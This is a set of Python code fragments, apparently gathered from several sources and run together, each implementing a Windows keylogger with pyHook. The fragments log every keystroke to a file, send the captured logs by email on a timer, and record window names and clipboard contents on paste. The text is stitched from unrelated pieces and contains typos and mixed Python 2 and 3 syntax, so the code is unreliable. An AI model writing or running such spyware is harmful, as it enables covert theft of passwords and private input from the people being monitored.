# Define KeyPress Event def keypressed(event): global store # Confirm extra keys will be shown to make the output readable if event.Ascii == 13: keys = ' < ENTER >' elif event.Ascii == 8: keys = ' < BACK SPACE > ' else: keys = chr(event.Ascii) store = store + keys # TODO: Write to hidden files fp = open("keylogs.txt", "w") fp.write(store) print(store) fp.close() return True # Confirm event to create keypress event store = '' obj = pyHook.HookManger() obj.KeyDown = keypressed # obj.HookKeyboard() pythoncom.PumpMessages()
def Keylogger(): hm = pyHook.HookManger() hm.KeyDown = OnKeyboardEvent hm.HookKeyboard() pythoncom.PumpMessages()
print ("Error al mandar correo!") def FormatAndSendLogEmail(): with open(file_log, 'r+') as f: actualdate = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") data = f.read().replace('\n', '') data = 'Log capturado a las: '+ actualdate + '\n' + data SendEmail('*****@*****.**', 'tupass', '*****@*****.**','Nuevo log - '+actualdate, data) f.seek(0) f.truncate() def OnKeyboardEvent(event): logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s') logging.log(10,chr(event.Ascii)) return True hooks_manager = pyHook.HookManger() hooks_manager.KeyDown = OnKeyboardEvent hooks_manager.HookKeyboard() while True: if TimeOut(): FormatAndSendLogEmail() timeout = time.time() + wait_seconds pythomcom.PumpWaitingMessages()
#check to see if target changed windows if event.WindowName != current_window: current_window = event.WindowName get_current_process() # if they pressed a standard key if event.Ascii > 32 and event.Ascii < 127: print chr(event.Ascii) else: #if [ctrl-v], get the value on the clipboard if event.Key == "V": win32clipboard.OpenClipboard() pasted_value = win32clipboard.GetClipboardData() win32clipboard.CloseClipboard() print "[Paste] - %s" % (pasted_value), else: print "[%s]" % event.Key, #pass execution to next book registered return True #create and register a hook Manager kl = pyHook.HookManger() kl.KeyDown = KeyStroke # register the hook and exceute forever kl.HookKeyboard() pythoncom.PumpMessages()